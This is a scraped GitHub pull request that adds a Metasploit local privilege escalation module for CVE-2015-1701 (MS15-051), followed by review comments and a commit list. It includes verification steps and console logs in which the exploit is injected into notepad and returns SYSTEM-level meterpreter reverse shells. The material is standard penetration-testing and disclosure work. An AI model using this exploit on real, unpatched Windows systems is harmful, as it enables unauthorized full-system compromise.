Add butchered version of CVE-2015-1701 #5466

OJ · 2015-06-03T12:06:29Z

This PR includes the first pass of a module and source that provides a local privilege escalation for CVE-2015-1701 (MS15-051), documented by FireEye.

Code for this module was blatantly purloined from this repository. It has very few adjustments, other than the ones to make it work within the Meterpreter ecosystem. Those changes are:

Changing the way some functions are imported.
Adding the reflective loader functionality (hooray include collisions!)
Adding the DLL entry point which includes the pointer to the shellcode.
Wiring in the shellcode invocation at the point where the exploit would normally invoke cmd.exe.

I haven't spent any time tidying the C source up at all. The MSF module pretty much a direct copy of an existing local exploit module with the appropriate tweaks made.

I have successfully tested this on Windows 7 x64 and x86 (build 7600), and on Windows 2008 R2 SP1 x64, though according to the technet articles the vulnerability should work on earlier versions as well.

I'd like to call on the fine minds of @zeroSteiner, @wchen-r7 and @jvazquez-r7 to cast an eye over this. It could use some serious tidying up and you guys are meticulous! Any comments would be appreciated. My feeling is that this can be landed 'as is' without too many changes, and we can spend more time later tidying up the C code if we feel like it.

Note: this PR includes functioning binaries as part of a signed commit.

Verification

Get hold of a Windows 7 x86 and/or x64 VM, or Windows 2008 VM that is unpatched (ie. missing the patch https://support.microsoft.com/kb/3057191 ).
Create a meterpreter session as a non-privileged user.
Background the session and load the exploit post module exploit/windows/local/ms15_051_client_copy_image.
Configure the post module appropriately for the target in question, and select an appropriate payload.
Run the exploit and hopefully you'll see a SYSTEM shell come flying back at you.

Sample Runs

Windows 7 x86

meterpreter > getuid
Server username: dobby-PC\dobby
meterpreter > sysinfo
Computer        : DOBBY-PC
OS              : Windows 7 (Build 7600).
Architecture    : x86
System Language : en_AU
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > background
[*] Backgrounding session 9...
msf exploit(ms15_051_client_copy_image) > show options

Module options (exploit/windows/local/ms15_051_client_copy_image):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  9                yes       The session to run this module on.


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: , , seh, thread, process, none)
   LHOST     XXX.XXX.XXX.XXX  yes       The listen address
   LPORT     80               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86

msf exploit(ms15_051_client_copy_image) > run

[*] Launching notepad to host the exploit...
[+] Process 2508 launched.
[*] Reflectively injecting the exploit DLL into 2508...
[*] Injecting exploit into 2508...
[*] Exploit injected. Injecting payload into 2508...
[*] Payload injected. Executing exploit...
[*] Sending stage (884270 bytes) to 120.148.51.167
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
msf exploit(ms15_051_client_copy_image) > sessions[*] Meterpreter session 10 opened (10.1.10.40:4444 -> XXX.XXX.XXX.XXX:49159) at 2015-06-03 21:38:12 +1000
 -i 10
[*] Starting interaction with 10...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DOBBY-PC
OS              : Windows 7 (Build 7600).
Architecture    : x86
System Language : en_AU
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >

Windows 7 x64

meterpreter > getuid
Server username: WIN-S45GUQ5KGVK\OJ
meterpreter > sysinfo
Computer        : WIN-S45GUQ5KGVK
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/win64
meterpreter > background
[*] Backgrounding session 5...
msf exploit(ms15_051_client_copy_image) > run

[*] Started reverse handler on 10.1.10.40:4444 
[*] Launching notepad to host the exploit...
[+] Process 856 launched.
[*] Reflectively injecting the exploit DLL into 856...
[*] Injecting exploit into 856...
[*] Exploit injected. Injecting payload into 856...
[*] Payload injected. Executing exploit...
[*] Sending stage (1103410 bytes) to 10.1.10.35
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 6 opened (10.1.10.40:4444 -> 10.1.10.35:49172) at 2015-06-03 20:57:38 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-S45GUQ5KGVK
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/win64
meterpreter >

Windows 2008 R2 SP1 x64

meterpreter > getuid
Server username: PWNAGE\OJ Reeves
meterpreter > sysinfo
Computer        : WIN2008R2
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : PWNAGE
Logged On Users : 2
Meterpreter     : x64/win64
meterpreter > background
[*] Backgrounding session 12...
msf exploit(ms15_051_client_copy_image) > run

[*] Started reverse handler on 10.1.10.40:5555 
[*] Launching notepad to host the exploit...
[+] Process 444 launched.
[*] Reflectively injecting the exploit DLL into 444...
[*] Injecting exploit into 444...
[*] Exploit injected. Injecting payload into 444...
[*] Payload injected. Executing exploit...
[*] Sending stage (1103410 bytes) to 10.1.10.12
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 13 opened (10.1.10.40:5555 -> 10.1.10.12:49168) at 2015-06-03 22:14:07 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN2008R2
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : PWNAGE
Logged On Users : 2
Meterpreter     : x64/win64
meterpreter >

Thanks to @multiplex3r for helping out with testing.

This module isn't using report_auth_info, so this comment is no longer needed.

…ached size

* Fixes bug with Pro Vuln Validation validation pushes

OJ · 2015-06-19T20:34:45Z

Sounds wonderful to me! Thanks dude :)

…to use the new cred API

wchen-r7 · 2015-06-19T21:04:40Z

Cool!

… MS08-067

….txt

…s deprecated

zeroSteiner · 2015-06-21T22:06:37Z

external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c

+	if (huser32 == NULL)
+		return 0;
+
+	pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");


My guess is that this is why the exploit is not working on server 2003. user32!gSharedInfo is not available on older versions of Windows.

Yup, good point.

OJ · 2015-06-24T00:52:46Z

Thanks @wchen-r7 ! I know that @zeroSteiner has more work coming here as well to get things working on some earlier versions.

Cheers for landing :)

wchen-r7 · 2015-06-24T01:55:58Z

Cheers!

vysecurity · 2015-09-17T10:16:25Z

Does not seem to work... I always get a does not support WOW64...

OJ · 2015-09-17T10:44:42Z

It works perfectly. Your Meterpreter session must match the target architecture.

vysecurity · 2015-09-17T10:48:16Z

Yep, my bad :) I had to check the source and figure it out. Just migrate...

zeroSteiner and others added 30 commits May 29, 2015 13:50

Add a plugin for making curl-like http requests

50b2ae4

Use an authorization header and fix uri.path

72650d7

Improve output file handling and expand_path

2070934

Rename the requests plugin to http_requests

59f40d7

Rename the http_requests plugin and command to httpr

2e8e350

move plugins/http to plugins/request

cefec81

genericizes http request plugin

f1e48b9

removes a proxy vestige

7d896ba

restores proper -u usage

b236187

changes type handling to be fully automatic

fa9a222

Merge branch 'master' of github.com:rapid7/metasploit-framework

a0bcbd1

New modules to support 64bit process powershell.

9d1a7ce

Provide more context and references

d22dda2

Update total_commander to use the new cred API

c3e1505

Update filezilla_client_cred to use the new cred API

b98cc89

Update tortoisesvn to use the new cred API

1ae9265

Add creds API

b4cfe93

Remove unnecessary spaces

7485cf7

fix android/java reverse_tcp

ac2a52b

Land rapid7#5454 : Fix android/java reverse_tcp

b837741

Merge branch 'master' of github.com:rapid7/metasploit-framework

27ddee4

Remove comment about report_auth_info

aac2db8

This module isn't using report_auth_info, so this comment is no longer needed.

Update spark_im to use the new cred API

28556ea

Add module_fullname: fullname

63708f2

Updated payload spec to be in the correct order and updated payload c…

dddbf38

…ached size

Add module_fullname: fullname,

e431631

Add module_fullname: fullname

c64f025

Land rapid7#5399, latest recog and MDM

22a1b0a

Updating to MDM 1.2.1

9713fe7

* Fixes bug with Pro Vuln Validation validation pushes

Check for a nil header value

0313f0b

gmikeska-r7 and others added 7 commits June 19, 2015 13:54

Correct service name for mssql for scanner detection

d672ac1

Land rapid7#5555, @Th3R3p0's support for for RFB Version 4

34d5d92

Land rapid7#5497, Refactor LoginScanner::SNMP to be fast and less buggy

bd097e3

Do Metasploit::Model::Login::Status::UNTRIED

b104155

Remove report_auth_info

ef286fd

report_note for group info

8342758

Land rapid7#5569, Correct service name for mssql for scanner detection

0b0cc36

Brent Cook and others added 5 commits June 19, 2015 15:35

Land rapid7#5547, configurable auto session timeout

252b573

New password from Snowden

b580f93

Provide context to the note

fa6e459

Land rapid7#5540, @wchen-r7's changes for multiple auxiliary modules …

4762e9f

…to use the new cred API

Delete commas

61ad4ad

wchen-r7 assigned wchen-r7 and unassigned zeroSteiner Jun 19, 2015

jvazquez-r7 and others added 5 commits June 19, 2015 16:57

Land rapid7#5529, @omarix's Windows 2003 SP1 & SP2 French targets for…

74bc9f7

… MS08-067

Land rapid7#5572 @todb-r7's adds snowden's password to unix_passwords…

04901ba

….txt

Land rapid7#5570, @todb-r7 Removes references to Iconv gem, since it'…

bf7e069

…s deprecated

Merge minor CVE-2015-1701 from zeroSteiner

b78ba55

Merge branch 'upstream/master' into cve-2015-1701

3686acc

zeroSteiner reviewed Jun 21, 2015
View reviewed changes

wchen-r7 merged commit 3686acc into rapid7:master Jun 22, 2015

wchen-r7 added a commit that referenced this pull request Jun 22, 2015

Land #5466, ms15_051_client_copy_image (CVE-2015-1701)

b64bf10

OJ deleted the cve-2015-1701 branch June 24, 2015 00:52

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add butchered version of CVE-2015-1701 #5466

Add butchered version of CVE-2015-1701 #5466

OJ commented Jun 3, 2015

OJ commented Jun 19, 2015 via email

wchen-r7 commented Jun 19, 2015

zeroSteiner Jun 21, 2015

OJ Jun 21, 2015

OJ commented Jun 24, 2015

wchen-r7 commented Jun 24, 2015

vysecurity commented Sep 17, 2015

OJ commented Sep 17, 2015

vysecurity commented Sep 17, 2015

Add butchered version of CVE-2015-1701 #5466

Add butchered version of CVE-2015-1701 #5466

Conversation

OJ commented Jun 3, 2015

Verification

Sample Runs

Windows 7 x86

Windows 7 x64

Windows 2008 R2 SP1 x64

OJ commented Jun 19, 2015 via email

wchen-r7 commented Jun 19, 2015

zeroSteiner Jun 21, 2015

Choose a reason for hiding this comment

OJ Jun 21, 2015

Choose a reason for hiding this comment

OJ commented Jun 24, 2015

wchen-r7 commented Jun 24, 2015

vysecurity commented Sep 17, 2015

OJ commented Sep 17, 2015

vysecurity commented Sep 17, 2015